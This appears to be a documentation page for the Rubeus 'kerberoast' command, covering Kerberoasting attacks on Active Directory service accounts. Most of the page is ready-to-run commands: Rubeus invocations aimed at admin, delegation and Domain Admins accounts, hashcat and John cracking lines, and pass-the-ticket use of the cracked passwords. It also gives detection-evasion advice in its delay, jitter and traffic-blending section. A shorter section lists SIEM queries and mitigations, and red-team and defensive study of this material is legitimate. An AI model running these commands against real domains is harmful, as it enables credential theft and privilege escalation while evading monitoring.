> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# kerberoast
> Perform Kerberoasting attacks to extract service account credentials
**Kerberoasting** is one of the most effective post-compromise attacks for escalating privileges in Active Directory environments by targeting service accounts with weak passwords.
## Overview
Kerberoasting attacks request service tickets for accounts with Service Principal Names (SPNs) and extract the ticket's encrypted portion for offline password cracking. This technique exploits the fact that service tickets are encrypted with the target service account's password hash.
Identify accounts with Service Principal Names
Request and extract encrypted service tickets
Crack extracted hashes with external tools
## Attack Methodology
Identify service accounts in the domain with registered SPNs
Request TGS tickets for target service accounts
Extract encrypted portion of service tickets
Use hashcat or John to crack the extracted hashes
Test cracked credentials for access and privileges
## Syntax Variations
```bash All Service Accounts theme={null}
# Target all service accounts in domain
Rubeus.exe kerberoast
```
```bash Specific Service theme={null}
# Target specific SPN
Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433"
```
```bash Specific User theme={null}
# Target specific service account
Rubeus.exe kerberoast /user:svc_sql
```
```bash LDAP Filtering theme={null}
# Target admin service accounts
Rubeus.exe kerberoast /ldapfilter:"admincount=1"
# Target specific OU
Rubeus.exe kerberoast /ou:"OU=Service Accounts,DC=corp,DC=local"
```
```bash Bulk Operations theme={null}
# Target users from file
Rubeus.exe kerberoast /users:C:\temp\service_accounts.txt
# Target SPNs from file
Rubeus.exe kerberoast /spns:C:\temp\target_spns.txt
```
```bash Stealth Operations theme={null}
# Use OPSEC features
Rubeus.exe kerberoast /opsec
# Specific encryption and delays
Rubeus.exe kerberoast /opsec /delay:5000 /jitter:30
```
```bash Output Management theme={null}
# Save to file for processing
Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# John the Ripper format
Rubeus.exe kerberoast /format:john /outfile:john_hashes.txt
```
## Targeting Parameters
Target specific Service Principal Name
Example: `MSSQLSvc/sql01.corp.local:1433`
File containing list of SPNs to target
One SPN per line:
```
MSSQLSvc/sql01.corp.local:1433
HTTP/web01.corp.local
CIFS/fileserver.corp.local
```
Target specific username with SPNs
File containing list of usernames to target
Custom LDAP filter for advanced targeting
* `admincount=1` - Administrative accounts
* `serviceprincipalname=*` - Any account with SPNs
* `samaccountname=svc_*` - Service accounts by naming pattern
* `useraccountcontrol:1.2.840.113556.1.4.803:=512` - Normal accounts only
Target specific Organizational Unit
Example: `"OU=Service Accounts,DC=corp,DC=local"`
Target domain (default: current domain)
Specific domain controller to query
Hash output format for cracking tools
* `hashcat` (default) - Hashcat mode 13100
* `john` - John the Ripper format
Save extracted hashes to file
Don't wrap long lines in output
Output only the crackable hash portion
Enable OPSEC-safe features
Recommended for stealth operations
Delay in milliseconds between requests
Recommended: 3000-10000ms for stealth
Random percentage variation in delay (0-100)
Example: 30 = ±30% variation in delay
Request AES256 encryption (less common, more suspicious)
Display statistics about service accounts
Limit number of results returned
Only target accounts with passwords set after date
Useful for targeting recently changed passwords
Only target accounts with passwords set before date
Useful for targeting old, potentially weak passwords
## Response Format
```bash theme={null}
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target SPN : MSSQLSvc/sql01.corp.local:1433
[*] Target Name : svc_sql
[*] Target Domain : CORP.LOCAL
[*] Searching path 'LDAP://DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 15
[*] SamAccountName : svc_sql
[*] DistinguishedName : CN=SQL Service,OU=Service Accounts,DC=corp,DC=local
[*] ServicePrincipalName : MSSQLSvc/sql01.corp.local:1433
[*] PwdLastSet : 1/15/2024 2:15:30 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$hash_data_here
```
Details about the targeted service account
* **SamAccountName**: Username of service account
* **ServicePrincipalName**: The targeted SPN
* **PwdLastSet**: When password was last changed
* **Supported ETypes**: Encryption types supported
Extracted hash in specified format for cracking
Summary information about the operation
* **Total kerberoastable users**: Number of accounts with SPNs
* **Successful extractions**: Hashes successfully extracted
* **Failed requests**: Services that couldn't be accessed
```bash theme={null}
[*] Action: Kerberoasting
[*] Target SPN : MSSQLSvc/sql01.corp.local:1433
[*] Searching path 'LDAP://DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*))'
[!] No users found to Kerberoast!
```
Common reasons for no results:
* No service accounts with SPNs in target domain
* Insufficient permissions to query LDAP
* Target-specific filters too restrictive
* Service accounts don't allow TGS requests
```bash theme={null}
[!] LDAP query failed!
System.DirectoryServices.DirectoryServiceCOMException: The server is not operational.
```
Common error scenarios:
* **LDAP query failed**: Domain controller unreachable
* **Access denied**: Insufficient permissions for LDAP queries
* **No current user context**: Need valid domain authentication
* **Clock skew**: Time synchronization issues
## Hash Format Examples
```bash theme={null}
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...
```
Breakdown of hashcat format structure
* `$krb5tgs$` - Kerberos TGS identifier
* `23` - Encryption type (RC4-HMAC)
* `*svc_sql$CORP.LOCAL$` - Username and domain
* `MSSQLSvc/sql01.corp.local:1433*` - Service principal name
* `$hash_data` - Encrypted ticket portion for cracking
**Cracking Command:**
```bash theme={null}
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
```
```bash theme={null}
svc_sql:$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...
```
Username prefix with colon-separated hash
**Cracking Command:**
```bash theme={null}
john --format=krb5tgs kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
```bash theme={null}
$krb5tgs$18$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...
```
AES-encrypted hashes (type 18) are significantly harder to crack than RC4 hashes (type 23) and may not be practical for offline attacks.
**Hashcat AES Support:**
```bash theme={null}
hashcat -m 19600 aes_hashes.txt wordlist.txt # AES128
hashcat -m 19700 aes_hashes.txt wordlist.txt # AES256
```
## Complete Attack Workflow
Discover service accounts and assess the target environment:
```bash theme={null}
# Get statistics about service accounts
Rubeus.exe kerberoast /stats
# Target administrative service accounts
Rubeus.exe kerberoast /ldapfilter:"admincount=1" /stats
```
Perform the actual kerberoasting with stealth considerations:
```bash theme={null}
# OPSEC-safe kerberoasting with delays
Rubeus.exe kerberoast /opsec /delay:5000 /jitter:30 /outfile:hashes.txt
# Target specific high-value accounts
Rubeus.exe kerberoast /user:svc_sql /opsec /format:hashcat
```
Prepare hashes for cracking with external tools:
```bash theme={null}
# Extract hashes to file
Rubeus.exe kerberoast /outfile:hashcat_hashes.txt /format:hashcat /nowrap
# Verify hash format
head -n 5 hashcat_hashes.txt
```
Use hashcat or John the Ripper to crack the extracted hashes:
```bash Hashcat theme={null}
# Basic dictionary attack
hashcat -m 13100 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt
# Advanced rule-based attack
hashcat -m 13100 hashcat_hashes.txt wordlist.txt -r rules/best64.rule
# Mask attack for corporate passwords
hashcat -m 13100 hashcat_hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?s
```
```bash John the Ripper theme={null}
# Dictionary attack
john --format=krb5tgs john_hashes.txt --wordlist=rockyou.txt
# Show cracked passwords
john --format=krb5tgs john_hashes.txt --show
```
Test cracked credentials for access and privileges:
```bash theme={null}
# Test cracked service account
Rubeus.exe asktgt /user:svc_sql /password:CrackedPassword123! /ptt
# Enumerate accessible services
Rubeus.exe asktgs /service:cifs/fileserver.corp.local
```
## Advanced Targeting Strategies
```bash theme={null}
# Accounts with administrative privileges
Rubeus.exe kerberoast /ldapfilter:"admincount=1"
# Accounts in privileged groups
Rubeus.exe kerberoast /ldapfilter:"memberof=CN=Domain Admins,CN=Users,DC=corp,DC=local"
```
```bash theme={null}
# Constrained delegation accounts
Rubeus.exe kerberoast /ldapfilter:"msds-allowedtodelegateto=*"
# Unconstrained delegation (high value)
Rubeus.exe kerberoast /ldapfilter:"useraccountcontrol:1.2.840.113556.1.4.803:=524288"
```
```bash theme={null}
# SQL Server service accounts
Rubeus.exe kerberoast /ldapfilter:"serviceprincipalname=MSSQLSvc*"
# Exchange service accounts
Rubeus.exe kerberoast /ldapfilter:"serviceprincipalname=exchangeMDB*"
# IIS/Web service accounts
Rubeus.exe kerberoast /ldapfilter:"serviceprincipalname=HTTP*"
```
```bash theme={null}
# Passwords not changed in 2+ years (likely weak)
Rubeus.exe kerberoast /pwdsetbefore:"01/01/2022"
# Service accounts with old passwords
Rubeus.exe kerberoast /ldapfilter:"samaccountname=svc_*" /pwdsetbefore:"01/01/2023"
```
```bash theme={null}
# Recently changed passwords (may follow patterns)
Rubeus.exe kerberoast /pwdsetafter:"01/01/2024"
# Accounts changed in specific time window
Rubeus.exe kerberoast /pwdsetafter:"06/01/2024" /pwdsetbefore:"08/01/2024"
```
```bash theme={null}
# Service accounts OU
Rubeus.exe kerberoast /ou:"OU=Service Accounts,DC=corp,DC=local"
# Application-specific OUs
Rubeus.exe kerberoast /ou:"OU=SQL Services,OU=Applications,DC=corp,DC=local"
```
```bash theme={null}
# Target child domain
Rubeus.exe kerberoast /domain:child.corp.local
# Target specific domain controller
Rubeus.exe kerberoast /domain:corp.local /dc:dc01.corp.local
```
## OPSEC Considerations
**Detection Risk**: Kerberoasting generates TGS requests that can be monitored by security tools and may appear in domain controller logs.
**Event ID 4769** - Kerberos TGS Request:
* High volume of TGS requests from single source
* Requests for service accounts not typically accessed
* RC4 encryption requests in AES-only environments
* Requests for administrative service accounts
* Unusual Kerberos traffic patterns
* High frequency of TGS requests
* Traffic to domain controllers from non-standard sources
* LDAP queries for service principal names
* Processes making unusual Kerberos API calls
* Memory access patterns consistent with ticket extraction
* File creation in temp directories (hash output files)
* Execution of password cracking tools
```bash theme={null}
# Implement delays between requests
Rubeus.exe kerberoast /delay:10000 /jitter:50
# Limit targeting to reduce noise
Rubeus.exe kerberoast /user:specific_target /opsec
# Spread operations over time
Rubeus.exe kerberoast /resultlimit:5 /delay:30000
```
```bash theme={null}
# Use legitimate business hours
# Schedule operations during 9-5 business hours
# Mimic normal authentication patterns
# Space requests to appear like normal service access
# Target during high activity periods
# Blend with legitimate authentication traffic
```
```bash theme={null}
# Force AES encryption (less suspicious in modern environments)
Rubeus.exe kerberoast /aes
# Use specific domain controllers
Rubeus.exe kerberoast /dc:dc02.corp.local
# Limit LDAP queries
Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433"
```
**SIEM Queries for Kerberoasting:**
```sql theme={null}
-- High volume TGS requests
SELECT * FROM events
WHERE event_id = 4769
GROUP BY source_ip
HAVING COUNT(*) > 50
WITHIN 1 HOUR
-- RC4 requests for service accounts
SELECT * FROM events
WHERE event_id = 4769
AND encryption_type = 'RC4'
AND service_name LIKE 'svc_%'
```
**Organizational Controls:**
* Strong password policies for service accounts
* Regular password rotation schedules
* Managed Service Accounts (MSAs) where possible
* Least privilege access for service accounts
**Technical Controls:**
* Enable AES encryption for Kerberos
* Monitor TGS request patterns
* Implement service account monitoring
* Use Group Managed Service Accounts (gMSAs)
## Troubleshooting
**Problem**: No kerberoastable users found
**Solutions**:
* Verify LDAP connectivity to domain controllers
* Check user permissions for LDAP queries
* Confirm service accounts exist with SPNs
* Try broader LDAP filters
```bash theme={null}
# Test LDAP connectivity
Rubeus.exe kerberoast /stats
# Try different targeting
Rubeus.exe kerberoast /ldapfilter:"serviceprincipalname=*"
```
**Problem**: Insufficient permissions for operations
**Solutions**:
* Ensure valid domain authentication
* Check if account has LDAP query permissions
* Verify domain controller accessibility
* Try different domain controllers
```bash theme={null}
# Test with specific DC
Rubeus.exe kerberoast /dc:dc01.corp.local
# Verify current authentication
Rubeus.exe klist
```
**Problem**: Unable to crack extracted hashes
**Solutions**:
* Verify hash format compatibility
* Try different wordlists and rules
* Consider password complexity requirements
* Use appropriate hashcat modes
```bash theme={null}
# Verify hash format
head -n 1 hashes.txt
# Try different attack modes
hashcat -m 13100 hashes.txt --show # Show any already cracked
```
## Integration with Other Tools
Use BloodHound to identify high-value service accounts before kerberoasting
Process extracted hashes with dedicated password cracking tools
Use GetUserSPNs.py for alternative SPN enumeration and targeting
Combine with PowerView for enhanced Active Directory reconnaissance
## Related Commands
Alternative credential attack for accounts without pre-auth
Use cracked credentials to request TGTs
Abuse service accounts with delegation rights
Create silver tickets with compromised service accounts